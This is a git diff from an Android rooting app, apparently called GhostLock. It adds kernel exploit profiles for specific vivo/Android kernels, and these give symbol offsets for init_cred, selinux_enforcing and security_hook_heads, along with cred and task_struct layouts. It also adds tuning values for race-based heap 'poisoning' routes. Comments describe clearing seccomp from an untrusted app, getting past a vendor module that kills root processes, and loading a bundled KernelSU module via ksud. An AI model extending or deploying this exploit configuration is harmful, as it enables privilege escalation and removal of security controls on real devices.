# 应返回 root" + echo "" + echo "预期日志输出:" + echo " [cfi] vr neutralize: probestub=0xffffffc080... commit_creds module probes=1" + echo " [cfi] vr neutralize: sys_exit slot 0 redirected" + echo " [cfi] vr neutralize: commit_creds_probes=1 neutralized=1 fallback=0" +else + echo "⚠️ 未检测到设备,跳过真机验证" + echo "请连接设备后重新运行此脚本" +fi +echo "" + +# 7. 文档检查 +echo "[7/7] 文档检查..." +if [ -f "PR.md" ] && [ -f "IMPLEMENTATION.md" ] && [ -f "docs/kernel_profiles/EXTRACT_TRACEPOINT_CONSTANTS.md" ]; then + echo "✅ 文档完整" +else + echo "❌ 文档不完整" + echo "缺少以下文件:" + [ ! -f "PR.md" ] && echo " - PR.md" + [ ! -f "IMPLEMENTATION.md" ] && echo " - IMPLEMENTATION.md" + [ ! -f "docs/kernel_profiles/EXTRACT_TRACEPOINT_CONSTANTS.md" ] && echo " - docs/kernel_profiles/EXTRACT_TRACEPOINT_CONSTANTS.md" + exit 1 +fi +echo "" + +echo "==========================================" +echo "✅ 所有验证通过!" +echo "==========================================" +echo "" +echo "请确认以下事项后再提交 PR:" +echo " [ ] 所有主机测试通过" +echo " [ ] 真机验证完成" +echo " [ ] 设备适配清单更新" +echo " [ ] 文档完整" +echo " [ ] 代码审查通过" +echo "" +echo "确认无误后,请将 PR 推送到远程仓库。" \ No newline at end of file diff --git a/app/build.gradle.kts b/app/build.gradle.kts index 85cbd62eb..75cb39d7c 100644 --- a/app/build.gradle.kts +++ b/app/build.gradle.kts @@ -14,7 +14,7 @@ plugins { layout.buildDirectory.set(rootProject.layout.buildDirectory.dir("app")) val appName = "GhostLock" -val appVersionName = "1.2" +val appVersionName = "1.2.568" val gitVersionCode = runCatching { providers.exec { diff --git a/app/src/main/assets/kernel_profiles/5.15-template.conf b/app/src/main/assets/kernel_profiles/5.15-template.conf index 09e882ec9..b6e6a8964 100644 --- a/app/src/main/assets/kernel_profiles/5.15-template.conf +++ b/app/src/main/assets/kernel_profiles/5.15-template.conf @@ -42,6 +42,12 @@ route { lock_offset = null # 紧凑 waiter 布局标记(multicast 分支同样需要) compact_waiter = null + # 同一 W1 内的重复投毒次数(8 位;缺省或 0 用编译期内置值) + attempts = null + # 第几次投毒后开始起臂走查(8 位) + arm_sequence = null + # 起臂后 yield 自旋量(16 位) + arm_hold = null } } # 回退声明:tcp 路由失败后回退 select_stack;不使用回退时删除整块 diff --git a/app/src/main/assets/kernel_profiles/5.15.197-g708015331567-dirty.conf b/app/src/main/assets/kernel_profiles/5.15.197-g708015331567-dirty.conf new file mode 100644 index 000000000..e740cbac0 --- /dev/null +++ b/app/src/main/assets/kernel_profiles/5.15.197-g708015331567-dirty.conf @@ -0,0 +1,110 @@ +release = "5.15.197-g708015331567-dirty" +execution { + race { + route_done_timeout_ms = 300000 + setup_settle_us = 50000 + route_wait_ms = 1000 + state_poll_interval_us = 1000 + } + recommended_cpus { + main = 3 + consumer = 4 + } + selected_cpus { + main = 3 + consumer = 4 + } + stages { + w3_settle_us = 50000 + w2_settle_us = 100000 + w3_attempts = 6 + w1_attempts = 15 + w1_settle_us = 100000 + w1_scratch_repair_attempts = 3 + w3_chain_rounds = 3 + w2_attempts = 15 + } + handoff { + enforce_poll_interval_ms = 100 + pre_dispatch_settle_ms = 2000 + module_poll_interval_ms = 100 + enforce_poll_attempts = 200 + module_poll_attempts = 30 + } + heap { + prepare_max_attempts = 4 + prepare_timeout_ms = 240000 + kernelsnitch_timeout_ms = 60000 + } + routes = {} +} +cred { + ref0_offset = 128 + ref2_image = -274695698432 + ref1_offset = 136 + ref2_offset = 144 + ref3_offset = 152 + ref_count = 4 + ref1_image = -274693615536 + copy_size = 176 + caps_offset = 48 + usage_offset = null + ref0_image = -274695699824 + caps_count = 3 + usage_value = 256 + ref3_image = -274695699656 + caps_value = 2199023255551 +} +kernel_phys_load = 2818572288 +kernelsnitch { + mm_struct_sz = 1024 + collisions = 8 +} +offset { + init_task = 49493248 + init_cred = 49201048 + root_task_group = 50649984 + selinux_enforcing = 51912280 + slide_loggers_0_1 = 47849936 + slide_boot_id = 52026713 + selinux_blob_sizes = 37149632 + empty_zero_page = 50630656 + slide_nfulnl_logger = 47850144 + security_hook_heads = 37149664 +} +recommend_shizuku = 0 +vr_guard { + tracepoint_funcs = 64 +} +kernel_major = 5 +schema_version = 1 +route { + multicast_waiter { + buffer_size = 264 + lock_offset = 56 + task_offset = 48 + compact_waiter = 1 + waiter_off = 80 + } +} +task_struct { + cred = 1944 + comm = 1960 + pi_lock = 2180 + pi_waiters = 2200 + seccomp = 2144 + pid = 1496 + pi_top_task = 2216 + normal_prio = 132 + sched_task_group = 1024 + real_cred = 1936 + atomic_flags = 1432 + pi_blocked_on = 2224 + tgid = 1500 + prio = 124 + tasks = 1232 +} +recommend_vr_guard = 1 +fallback { + to = "none" +} \ No newline at end of file diff --git a/app/src/main/assets/kernel_profiles/6.1.145-android14-11-maybe-dirty.conf b/app/src/main/assets/kernel_profiles/6.1.145-android14-11-maybe-dirty.conf new file mode 100644 index 000000000..ac47d0ea6 --- /dev/null +++ b/app/src/main/assets/kernel_profiles/6.1.145-android14-11-maybe-dirty.conf @@ -0,0 +1,129 @@ +# GhostLock kernel profile: 6.1.145-android14-11-maybe-dirty (HOCON). +# +# vivo iQOO 12 (V2307A / PD2307), OriginOS 6 / Android 16, +# firmware PD2307_A_16.2.20.3.W10.V000L1 (security patch 2026-08-01). +# +# This build is vendor-anti-matched: /proc/version reports the placeholders +# build-user@build-host and an epoch-0 timestamp, so it matches no other entry +# and cannot be looked up from a public OTA. Its symbol offsets differ from the +# registered "6.1.145-android14-11-g74d1702dab4d-ab14669069" entry by 1.1-3.1 MB +# (selinux_enforcing 0x02249400 -> 0x02558f40); reusing that entry writes W1 to +# the wrong address and resets the SoC watchdog. +# +# Route: multicast_waiter. pselect is statically infeasible on this kernel +# (derived pselect/futex overlap is -216: do_pselect is inlined by PGO, so the +# select chain is shallower than the futex chain and no non-negative waiter +# shift reaches it), and the TCP route's 0x40-byte copy is too shallow to cover +# the stale waiter's task/lock fields. The multicast copy is 0x108 bytes. +# fallback = none for the same reason: a fallback would run a route that panics. +include "credential-6x.conf" +include "kernelsnitch-6x.conf" +release = "6.1.145-android14-11-maybe-dirty" +schema_version = 1 +kernel_major = 6 +# Measured on this device (2026-09-30): the direct path completes without +# Shizuku — it runs as untrusted_app, W3 clears the seccomp filter, and the +# iomem cache the app seeds supplies the multicast geometry. That is the better +# default here: Shizuku cannot auto-start after a reboot, so requiring it costs +# a manual step every session, while the direct path can be retried freely. +recommend_shizuku = 0 +# Ancillary vr.ko guard (docs/analysis/ancillary-controller-guide.md): vivo's +# vr.ko kills any process that holds uid 0 on its next sys_exit, which is what +# takes ksud and the shells it spawns down. The gate enables the behavior; the +# runtime check for vr.ko in /proc/modules happens on the device. +recommend_vr_guard = 1 +route { + multicast_waiter { + waiter_off = 96 + buffer_size = 264 + task_offset = 48 + lock_offset = 56 + compact_waiter = 1 + # Poison/walk repetition, from the reference kit's working configuration on + # this kernel line. One setsockopt is one lottery ticket (the copy races skb + # page recycling); the arm starts only after the earlier copies have + # overwritten each other, and the waiter thread holds on yield until the + # consumer has walked. 0 or an omitted key keeps the compiled-in default. + attempts = 128 + arm_sequence = 16 + arm_hold = 20000 + } +} +fallback { + to = "none" +} +execution { + # Reference-kit measurement for this kernel line: the pair straddling the + # 3.15/2.96 GHz clusters is stable across runs, unlike the 0/1 default. + # The app offers it as the default pair (and adds it to the list when the + # per-cluster pairing cannot express it) until the user picks one; an + # explicit choice — and the `selected_cpus` it produces — still wins. + recommended_cpus { + main = 4 + consumer = 5 + } + heap { + # The reference kit's working config on this kernel line retries kernel + # page preparation 12 times ("prepare_kernel_page retry 1/12" in its + # success logs). The shared default of 4 exhausts after a handful of + # "page stores an even byte over selinux_state.initialized" refusals and + # aborts the run before the route is even reached, which is one of the two + # failure modes seen on this device. + prepare_max_attempts = 12 + } +} +kernelsnitch { + mm_struct_sz = 1024 + collisions = 8 +} +task_struct { + prio = 132 + normal_prio = 140 + sched_task_group = 840 + pi_lock = 2340 + pi_waiters = 2360 + pi_top_task = 2376 + pi_blocked_on = 2384 + pid = 1584 + tgid = 1588 + atomic_flags = 1520 + real_cred = 2096 + cred = 2104 + comm = 2120 + tasks = 1360 + seccomp = 2304 +} +# offsetof(struct tracepoint, funcs), read from this image's BTF. Not derived +# from the release: 6.6 added probestub ahead of funcs and moved it to 0x48. +vr_guard { + tracepoint_funcs = 64 +} +cred { + # multicast requires copy_size >= 0xa0; this kernel's sizeof(struct cred) is + # 0xa0 (ref3_offset 152 + 8), so the shared 136-byte template is too small. + copy_size = 176 + ref_count = 4 + ref0_offset = 128 + ref1_offset = 136 + ref2_offset = 144 + ref3_offset = 152 + # init_cred's pointer fields, read out of this device's own kernel image + # (root_user / init_user_ns / init_ucounts / init_groups). + ref0_image = -274708098616 + ref1_image = -274708099280 + ref2_image = -274708092296 + ref3_image = -274708093720 +} +offset { + init_task = 35519488 + init_cred = 35595504 + empty_zero_page = 37859328 + root_task_group = 37889856 + selinux_enforcing = 39161664 + selinux_blob_sizes = 24049752 + security_hook_heads = 24047944 + slide_nfulnl_logger = 35467160 + slide_loggers_0_1 = 35466984 + slide_boot_id = 39298376 + vr_sys_exit_tp = 37532032 +} diff --git a/app/src/main/assets/kernel_profiles/index.conf b/app/src/main/assets/kernel_profiles/index.conf index 140ac5fd4..20e2e0c0e 100644 --- a/app/src/main/assets/kernel_profiles/index.conf +++ b/app/src/main/assets/kernel_profiles/index.conf @@ -46,6 +46,7 @@ profiles = [ { release = "6.6.118-android15-8-ge58033dc8ea6-abogki498046332-4k", file = "6.6.118-android15-8-ge58033dc8ea6-abogki498046332-4k.conf" } { release = "6.12.23-android16-5-g16e473de48a3-abogki462654244-4k", file = "6.12.23-android16-5-g16e473de48a3-abogki462654244-4k.conf" } { release = "6.1.145-android14-11-g74d1702dab4d-ab14669069", file = "6.1.145-android14-11-g74d1702dab4d-ab14669069.conf" } + { release = "6.1.145-android14-11-maybe-dirty", file = "6.1.145-android14-11-maybe-dirty.conf" } { release = "6.1.162-android14-11-gce140c0e5bf5-ab15450923", file = "6.1.162-android14-11-gce140c0e5bf5-ab15450923.conf" } { release = "6.12.38-android16-5-g3c4da6410bcb-ab13872285-4k", file = "6.12.38-android16-5-g3c4da6410bcb-ab13872285-4k.conf" } { release = "6.12.38-android16-5-g74ad46052215-ab14494108-4k", file = "6.12.38-android16-5-g74ad46052215-ab14494108-4k.conf" } @@ -67,4 +68,4 @@ profiles = [ { release = "6.6.127-android15-8-gb947b5758b2a-ab15580855-4k", file = "6.6.127-android15-8-gb947b5758b2a-ab15580855-4k.conf" } { release = "5.15.119-android13-8-g6ff5097ee32a-ab1764665171", file = "5.15.119-android13-8-g6ff5097ee32a-ab1764665171.conf" } { release = "6.1.157-android14-11-ga8b0b542991e-ab15601211", file = "6.1.157-android14-11-ga8b0b542991e-ab15601211.conf" } -] + { release = "5.15.197-g708015331567-dirty", file = "5.15.197-g708015331567-dirty.conf" } diff --git a/app/src/main/kotlin/com/ghostlock/app/data/AndroidGhostlockRepository.kt b/app/src/main/kotlin/com/ghostlock/app/data/AndroidGhostlockRepository.kt index 773a6e083..4fc100ac9 100644 --- a/app/src/main/kotlin/com/ghostlock/app/data/AndroidGhostlockRepository.kt +++ b/app/src/main/kotlin/com/ghostlock/app/data/AndroidGhostlockRepository.kt @@ -89,6 +89,9 @@ class AndroidGhostlockRepository(context: Context) : GhostlockRepository { private val cpuPairs = mutableListOf() private val cpuPairLabels = mutableListOf() private var selectedCpuPair = 0 + /** True once the user picked a pair (or one was restored); only then does it + * override the profile's suggestion (mirrors shizukuPreferenceSet). */ + private var cpuPairPreferenceSet = false private var safeModeEnabled = false private var forceAttackTest = false private var shizukuEnabled = false @@ -101,6 +104,7 @@ class AndroidGhostlockRepository(context: Context) : GhostlockRepository { init { buildCpuPairs() restoreCpuPair() + applyRecommendedCpuPair(System.getProperty("os.version", "").orEmpty()) restoreShizukuPreference() restoreForceAttackTest() dropLegacyOffsetsCache() @@ -150,6 +154,8 @@ class AndroidGhostlockRepository(context: Context) : GhostlockRepository { override suspend fun snapshot(): KernelSnapshot { val release = System.getProperty("os.version", "unknown").orEmpty() + /* A profile imported after start-up can still carry a pair suggestion. */ + applyRecommendedCpuPair(release) /* PROFILE-SUGGEST-01: recommend_shizuku is a suggestion. It seeds the * toggle until the user makes an explicit choice, which then overrides * it in both directions. */ @@ -176,6 +182,7 @@ class AndroidGhostlockRepository(context: Context) : GhostlockRepository { override fun selectCpuPair(index: Int) { if (index !in cpuPairs.indices) return selectedCpuPair = index + cpuPairPreferenceSet = true appContext.getSharedPreferences("ghostlock_prefs", Context.MODE_PRIVATE).edit { putString("cpu_pair", cpuPairs[index].toString()) } @@ -574,6 +581,7 @@ class AndroidGhostlockRepository(context: Context) : GhostlockRepository { val binary = File(appContext.applicationInfo.nativeLibraryDir, binaryName) require(binary.isFile) { "missing native binary: ${binary.absolutePath}" } if (prepareKsud(workDir, onLog) != null) onLog(" ksud ready") else onLog(" warning: ksud not found") + val ksuVivoKo = prepareKsuVivoBundle(workDir, onLog) // U01-S14: a per-run KernelSU log path so a previous run's markers // can never satisfy the handoff probe; passed to the native process. val ksuLog = File(workDir, ksuLogName(System.currentTimeMillis())) @@ -649,6 +657,15 @@ class AndroidGhostlockRepository(context: Context) : GhostlockRepository { environment()["TMPDIR"] = workDir.absolutePath environment()["HOME"] = workDir.absolutePath environment()["GHOSTLOCK_KSU_LOG"] = ksuLog.absolutePath + // direct vendor-module path: see prepareKsuVivoBundle. Default keeps + // SELinux enforcing — the live-policy unlabeled-packet patches the + // script applies are sufficient for full connectivity under + // enforcing (verified on vivo 16.x); set GHOSTLOCK_KSU_ENFORCE=0 + // only for kernels where enforcing breaks userspace beyond DNS. + if (ksuVivoKo != null) { + environment()["GHOSTLOCK_KSU_KO"] = ksuVivoKo.absolutePath + environment()["GHOSTLOCK_KSU_ENFORCE"] = "1" + } } onLog(" starting native: ${binary.absolutePath}") resetRunState() @@ -935,12 +952,54 @@ class AndroidGhostlockRepository(context: Context) : GhostlockRepository { val freq = readMaxFreq(0) cpuPairLabels += "0,1" + if (freq > 0) " · ${formatFreq(freq)}" else "" } + if (CpuPair(0, 1) !in cpuPairs) { + cpuPairs += CpuPair(0, 1) + val freq = readMaxFreq(0) + cpuPairLabels += "0,1" + if (freq > 0) " · ${formatFreq(freq)}" else "" + } } + /** + * Offers the pair the profile for [release] recommends and, until the user + * picks one explicitly, makes it the default (mirrors the recommend_shizuku + * flow). The per-cluster pairing cannot express a pair that straddles two + * frequency groups, so the suggestion may be one the list does not carry. + */ + private fun applyRecommendedCpuPair(release: String) { + val preferred = builtinProfiles.recommendedCpus[release] + ?: importedOffsetsRecommendedCpuPair(release) + ?: return + val pair = CpuPair(preferred.first, preferred.second) + val primaryFreq = readMaxFreq(pair.primary) + val consumerFreq = readMaxFreq(pair.consumer) + if (primaryFreq <= 0 || consumerFreq <= 0) return + val index = cpuPairs.indexOf(pair) + if (index >= 0) { + /* Offered already: only the default selection follows the profile. */ + if (!cpuPairPreferenceSet) selectedCpuPair = index + return + } + cpuPairs.add(0, pair) + cpuPairLabels.add( + 0, + "${pair.primary},${pair.consumer} · " + + listOf(primaryFreq, consumerFreq).joinToString("/") { formatFreq(it) }, + ) + if (!cpuPairPreferenceSet) selectedCpuPair = 0 + } + + private fun importedOffsetsRecommendedCpuPair(release: String): Pair? = + userProfileStore.recommendedCpus(release) + private fun restoreCpuPair() { val saved = appContext.getSharedPreferences("ghostlock_prefs", Context.MODE_PRIVATE).getString("cpu_pair", null) ?: return val pair = saved.split(',').mapNotNull { it.trim().toIntOrNull() } - if (pair.size == 2) cpuPairs.indexOf(CpuPair(pair[0], pair[1])).takeIf { it >= 0 }?.let { selectedCpuPair = it } + if (pair.size == 2) { + cpuPairs.indexOf(CpuPair(pair[0], pair[1])).takeIf { it >= 0 }?.let { + selectedCpuPair = it + cpuPairPreferenceSet = true + } + } } private fun restoreShizukuPreference() { @@ -1029,6 +1088,34 @@ class AndroidGhostlockRepository(context: Context) : GhostlockRepository { return null } + /* vivo PD2338 direct-module bundle (ReSukiSU-35184 ksud + natively built + * kernelsu-vivo.ko). The vendor kernel's uname -r carries no KMI token, so + * the KMI-based ksud late-load cannot select a module; the root script + * takes a direct `ksud insmod` branch when GHOSTLOCK_KSU_KO is set. The + * bundled ksud overwrites any manager-derived copy so the module/daemon + * handshake versions are guaranteed to match. + * + * PER-KERNEL RULE: kernelsu-vivo.ko is bound to one exact kernel build + * (vermagic byte-match + struct-module layout from that kernel's .config). + * A PD2338 OTA that changes the kernel release requires rebuilding and + * re-staging the asset; this bundle is NOT reusable across kernel + * versions even on the same device. */ + private fun prepareKsuVivoBundle(workDir: File, onLog: (String) -> Unit): File? { + return runCatching { + val ksudOut = File(workDir, "ksud") + appContext.assets.open("ksu_vivo/ksud").use { input -> + ksudOut.outputStream().use { input.copyTo(it) } + } + runCatching { Os.chmod(ksudOut.absolutePath, 448) } + val koOut = File(workDir, "kernelsu-vivo.ko") + appContext.assets.open("ksu_vivo/kernelsu-vivo.ko").use { input -> + koOut.outputStream().use { input.copyTo(it) } + } + onLog(" ksu_vivo bundle ready: ksud(ReSukiSU-35184) + kernelsu-vivo.ko") + koOut + }.onFailure { onLog(" ksu_vivo bundle failed: ${it.message}") }.getOrNull() + } + private suspend fun runProcess( builder: ProcessBuilder, onLog: (String) -> Unit = {}, diff --git a/app/src/main/kotlin/com/ghostlock/app/data/AndroidProfileConfigController.kt b/app/src/main/kotlin/com/ghostlock/app/data/AndroidProfileConfigController.kt index e902592ff..293f04eac 100644 --- a/app/src/main/kotlin/com/ghostlock/app/data/AndroidProfileConfigController.kt +++ b/app/src/main/kotlin/com/ghostlock/app/data/AndroidProfileConfigController.kt @@ -175,6 +175,12 @@ internal class AndroidProfileConfigController( } else if (compact < 0L || compact > 0xffL) { invalid += "$routePrefix.compact_waiter" } + for ((field, max) in RouteMulticastTuning) { + val current = value("$routePrefix.$field") + if (current != null && (current < 0L || current > max)) { + invalid += "$routePrefix.$field" + } + } requireNonZero( "kernelsnitch.mm_struct_sz", "offset.empty_zero_page", @@ -229,6 +235,12 @@ internal class AndroidProfileConfigController( invalid += "$fallbackPrefix.$field" } } + for ((field, max) in RouteMulticastTuning) { + val current = value("$fallbackPrefix.$field") + if (current != null && (current < 0L || current > max)) { + invalid += "$fallbackPrefix.$field" + } + } } } } @@ -853,6 +865,14 @@ internal class AndroidProfileConfigController( "task_struct.prio", "task_struct.pi_lock", "task_struct.pi_waiters", "task_struct.pi_blocked_on", "task_struct.cred", "task_struct.seccomp", ) + /** + * Optional poison/walk tuning and the native field widths (u8/u8/u16). + * A value outside the width is reported instead of being wrapped by the + * typed cast, per the route-config contract. + */ + private val RouteMulticastTuning = listOf( + "attempts" to 0xffL, "arm_sequence" to 0xffL, "arm_hold" to 0xffffL, + ) /** Full shared-geometry field universes (native `kTask`/`kCred`/`kOffset`). */ private val TaskStructFieldNames = listOf( "prio", "normal_prio", "sched_task_group", "pi_lock", "pi_waiters", "pi_top_task", @@ -870,7 +890,6 @@ internal class AndroidProfileConfigController( "slide_boot_id", ) private val KernelsnitchFieldNames = listOf("collisions", "mm_struct_sz") - /** Fields each route branch carries, used to seed a switched-to route. */ private val RouteBranchFields = mapOf( "tcp_zerocopy" to listOf("compact_waiter"), @@ -878,7 +897,7 @@ internal class AndroidProfileConfigController( "multicast_waiter" to listOf( "waiter_off", "buffer_size", "task_offset", "lock_offset", "compact_waiter", - ), + ) + RouteMulticastTuning.map { it.first }, ) private val RouteMulticastFields = listOf( "buffer_size", "task_offset", "lock_offset", diff --git a/app/src/main/kotlin/com/ghostlock/app/data/BuiltinProfileCatalog.kt b/app/src/main/kotlin/com/ghostlock/app/data/BuiltinProfileCatalog.kt index 2568309e2..b28234016 100644 --- a/app/src/main/kotlin/com/ghostlock/app/data/BuiltinProfileCatalog.kt +++ b/app/src/main/kotlin/com/ghostlock/app/data/BuiltinProfileCatalog.kt @@ -13,6 +13,8 @@ internal class BuiltinProfileCatalog(context: Context) { private data class Entry( val release: String, val recommendShizuku: Boolean, + /** `execution.recommended_cpus`, when the profile carries one. */ + val recommendedCpus: Pair?, val fields: Map, ) @@ -30,6 +32,11 @@ internal class BuiltinProfileCatalog(context: Context) { entries.filter { it.recommendShizuku }.mapTo(linkedSetOf()) { it.release } } + /** Per-release CPU pair suggestion, mirroring [recommendShizuku]. */ + val recommendedCpus: Map> by lazy { + entries.mapNotNull { entry -> entry.recommendedCpus?.let { entry.release to it } }.toMap() + } + val builtin: Map> by lazy { entries.associate { it.release to it.fields } } @@ -46,7 +53,19 @@ internal class BuiltinProfileCatalog(context: Context) { val profile = readAsset("$BuiltinDirectory/$file") ?.let { HoconSupport.parseValue(it).asValueMap() } ?: return@mapNotNull null val fields = flatten(profile) - Entry(release, recommendShizuku = fields["recommend_shizuku"] == 1L, fields = fields) + val recommendedCpus = profile["execution"].asValueMap() + ?.get("recommended_cpus").asValueMap() + ?.let { cpus -> + val main = (cpus["main"] as? Number)?.toInt() + val consumer = (cpus["consumer"] as? Number)?.toInt() + if (main != null && consumer != null) main to consumer else null + } + Entry( + release, + recommendShizuku = fields["recommend_shizuku"] == 1L, + recommendedCpus = recommendedCpus, + fields = fields, + ) } }.getOrDefault(emptyList()) diff --git a/app/src/main/kotlin/com/ghostlock/app/data/UserProfileStore.kt b/app/src/main/kotlin/com/ghostlock/app/data/UserProfileStore.kt index f62f75dda..5d05b215e 100644 --- a/app/src/main/kotlin/com/ghostlock/app/data/UserProfileStore.kt +++ b/app/src/main/kotlin/com/ghostlock/app/data/UserProfileStore.kt @@ -111,6 +111,27 @@ internal class UserProfileStore( } } + /** + * The CPU pair a stored document recommends for [release], mirroring + * [recommendsShizuku]: kernel/device metadata, independent of which + * document is currently loaded. + */ + fun recommendedCpus(release: String): Pair? { + val byName = documents() + return files().firstNotNullOfOrNull { file -> + val text = runCatching { file.readText() }.getOrNull() ?: return@firstNotNullOfOrNull null + val entry = runCatching { parseWith(text, byName) }.getOrNull() + ?.firstOrNull { it["release"] == release } + ?: return@firstNotNullOfOrNull null + LegacyProfileConverter.convertValue(entry) + val cpus = entry["execution"].asValueMap()?.get("recommended_cpus").asValueMap() + ?: return@firstNotNullOfOrNull null + val main = (cpus["main"] as? Number)?.toInt() + val consumer = (cpus["consumer"] as? Number)?.toInt() + if (main != null && consumer != null) main to consumer else null + } + } + /** * Saves a picked document verbatim under a unique name derived from the * original file name. Returns the stored file name. diff --git a/app/src/main/kotlin/com/ghostlock/app/ui/FieldLabels.kt b/app/src/main/kotlin/com/ghostlock/app/ui/FieldLabels.kt index c5f4b11bc..ce207c500 100644 --- a/app/src/main/kotlin/com/ghostlock/app/ui/FieldLabels.kt +++ b/app/src/main/kotlin/com/ghostlock/app/ui/FieldLabels.kt @@ -64,6 +64,12 @@ private fun fieldLabelRes(path: String): Int? = when (path) { "kernelsnitch.mm_struct_sz" -> R.string.field_mm_struct_sz "kernel_phys_load" -> R.string.field_kernel_phys_load "kernel_phys_offset" -> R.string.field_kernel_phys_offset + "route.multicast_waiter.arm_hold" -> R.string.field_mcast_arm_hold + "fallback.route.multicast_waiter.arm_hold" -> R.string.field_mcast_arm_hold + "route.multicast_waiter.arm_sequence" -> R.string.field_mcast_arm_sequence + "fallback.route.multicast_waiter.arm_sequence" -> R.string.field_mcast_arm_sequence + "route.multicast_waiter.attempts" -> R.string.field_mcast_attempts + "fallback.route.multicast_waiter.attempts" -> R.string.field_mcast_attempts "route.multicast_waiter.buffer_size" -> R.string.field_mcast_buffer_size "fallback.route.multicast_waiter.buffer_size" -> R.string.field_mcast_buffer_size "route.multicast_waiter.lock_offset" -> R.string.field_mcast_lock_offset diff --git a/app/src/main/res/values-zh/strings.xml b/app/src/main/res/values-zh/strings.xml index a276bd006..6c0b4b69c 100644 --- a/app/src/main/res/values-zh/strings.xml +++ b/app/src/main/res/values-zh/strings.xml @@ -214,6 +214,9 @@ 内核物理加载地址 DRAM 物理基址 碰撞数量 + 多播抛毒后自旋量 + 多播起臂轮次 + 多播投毒次数 多播缓冲区大小 多播锁偏移 多播任务偏移 diff --git a/app/src/main/res/values/strings.xml b/app/src/main/res/values/strings.xml index d4d7b22f3..155d8c0ba 100644 --- a/app/src/main/res/values/strings.xml +++ b/app/src/main/res/values/strings.xml @@ -214,6 +214,9 @@ kernel_phys_load kernel_phys_offset kernelsnitch_collisions + mcast_arm_hold + mcast_arm_sequence + mcast_attempts mcast_buffer_size mcast_lock_offset mcast_task_offset diff --git a/app/src/test/kotlin/com/ghostlock/app/data/BuiltinProfilesTest.kt b/app/src/test/kotlin/com/ghostlock/app/data/BuiltinProfilesTest.kt index 0eff905c1..1a6540cf1 100644 --- a/app/src/test/kotlin/com/ghostlock/app/data/BuiltinProfilesTest.kt +++ b/app/src/test/kotlin/com/ghostlock/app/data/BuiltinProfilesTest.kt @@ -42,6 +42,19 @@ class BuiltinProfilesTest { .filterNot { it.release.endsWith("-template") } } + @Test + fun `cpu pair suggestions follow the profiles that carry them`() { + val catalog = BuiltinProfileCatalog(context) + /* The iQOO 12 entry recommends the pair the reference kit measured. */ + assertEquals( + 4 to 5, + catalog.recommendedCpus["6.1.145-android14-11-maybe-dirty"], + ) + /* No other profile silently defaults to that pair. */ + val others = catalog.recommendedCpus.filterKeys { it != "6.1.145-android14-11-maybe-dirty" } + assertTrue(others.none { it.value == (4 to 5) }) + } + @Test fun `every builtin profile resolves cleanly and round trips`() = runBlocking { val root = Files.createTempDirectory("builtin-profiles").toFile() diff --git a/app/src/test/kotlin/com/ghostlock/app/data/ControllerInternalsTest.kt b/app/src/test/kotlin/com/ghostlock/app/data/ControllerInternalsTest.kt index 922f84bed..544b5ceb3 100644 --- a/app/src/test/kotlin/com/ghostlock/app/data/ControllerInternalsTest.kt +++ b/app/src/test/kotlin/com/ghostlock/app/data/ControllerInternalsTest.kt @@ -95,5 +95,11 @@ class ControllerInternalsTest { val branches = snapshot["route"].asValueMap()?.keys.orEmpty() assertEquals(listOf("multicast_waiter"), branches.toList()) assertFalse(snapshot["fallback"].asValueMap()?.containsKey("route") == true) + /* The switched-to branch carries every multicast field, tuning included, + * as an editable placeholder. */ + val seeded = snapshot["route"].asValueMap()?.get("multicast_waiter").asValueMap() + for (field in listOf("waiter_off", "attempts", "arm_sequence", "arm_hold")) { + assertTrue("$field was not seeded", seeded?.containsKey(field) == true) + } } } diff --git a/app/src/test/kotlin/com/ghostlock/app/data/ControllerOverrideTest.kt b/app/src/test/kotlin/com/ghostlock/app/data/ControllerOverrideTest.kt index 97e9ec239..024bfc14d 100644 --- a/app/src/test/kotlin/com/ghostlock/app/data/ControllerOverrideTest.kt +++ b/app/src/test/kotlin/com/ghostlock/app/data/ControllerOverrideTest.kt @@ -3,6 +3,7 @@ package com.ghostlock.app.data import android.app.Application import androidx.core.content.edit import com.ghostlock.app.domain.model.CpuPair +import com.ghostlock.app.domain.model.ProfileConfig import kotlinx.coroutines.runBlocking import org.junit.Assert.assertEquals import org.junit.Assert.assertNotNull @@ -527,4 +528,93 @@ class ControllerOverrideTest { root.deleteRecursively() } } + + @Test + fun `multicast tuning outside the native widths is reported invalid`() = runBlocking { + val pair = CpuPair(primary = 0, consumer = 1) + + suspend fun load(name: String, attempts: Long, armSequence: Long, armHold: Long): ProfileConfig { + val root = Files.createTempDirectory(name).toFile() + try { + val store = UserProfileStore( + directory = root.resolve("user_profiles"), + assetLoader = AssetConfigLoader(context), + ) + store.save( + "tuning.conf", + tuningReport(deviceRelease, attempts, armSequence, armHold), + ) + val controller = AndroidProfileConfigController( + context = context, + filesDir = root, + userProfiles = store, + preferences = context.getSharedPreferences(name, 0) + .also { it.edit().clear().commit() }, + ) + controller.selectUserProfile("tuning.conf", deviceRelease, pair) + return controller.load(deviceRelease, pair) + } finally { + root.deleteRecursively() + } + } + + /* attempts is an 8-bit field: 256 must surface, not wrap to 0. */ + val bad = load("controller-mcast-tuning-bad", attempts = 256, armSequence = 16, armHold = 20000) + assertTrue("profile did not resolve", bad.hasProfile) + assertTrue( + "attempts was not surfaced: ${bad.invalidPaths}", + "route.multicast_waiter.attempts" in bad.invalidPaths, + ) + + /* The documented recipe values pass their own branch untouched. */ + val ok = load("controller-mcast-tuning-ok", attempts = 128, armSequence = 16, armHold = 20000) + assertTrue( + "tuning values were rejected: " + + ok.invalidPaths.filter { it.startsWith("route.multicast_waiter") }, + ok.invalidPaths.none { it.startsWith("route.multicast_waiter.") }, + ) + } + + /** Multicast user profile with the poison/walk tuning knobs parameterised. */ + private fun tuningReport( + deviceRelease: String, + attempts: Long, + armSequence: Long, + armHold: Long, + ): String = """ + schema_version = 1 + release = "$deviceRelease" + kernel_major = 6 + route { + multicast_waiter { + waiter_off = 80 + buffer_size = 264 + task_offset = 48 + lock_offset = 56 + compact_waiter = 1 + attempts = $attempts + arm_sequence = $armSequence + arm_hold = $armHold + } + } + fallback { to = "none" } + task_struct { + prio = 148 + pi_lock = 2540 + pi_waiters = 2560 + pi_blocked_on = 2584 + cred = 2304 + seccomp = 2504 + } + offset { + init_task = 37801728 + init_cred = 37891184 + root_task_group = 40097152 + selinux_enforcing = 40408272 + } + """.trimIndent() + + private companion object { + private const val deviceRelease = "6.12.38-android16-5-gbe6292a1543d-ab14525421-4k" + } } diff --git a/app/src/test/kotlin/com/ghostlock/app/data/NativeProfileDocumentTest.kt b/app/src/test/kotlin/com/ghostlock/app/data/NativeProfileDocumentTest.kt index 6d76177d2..839d433c1 100644 --- 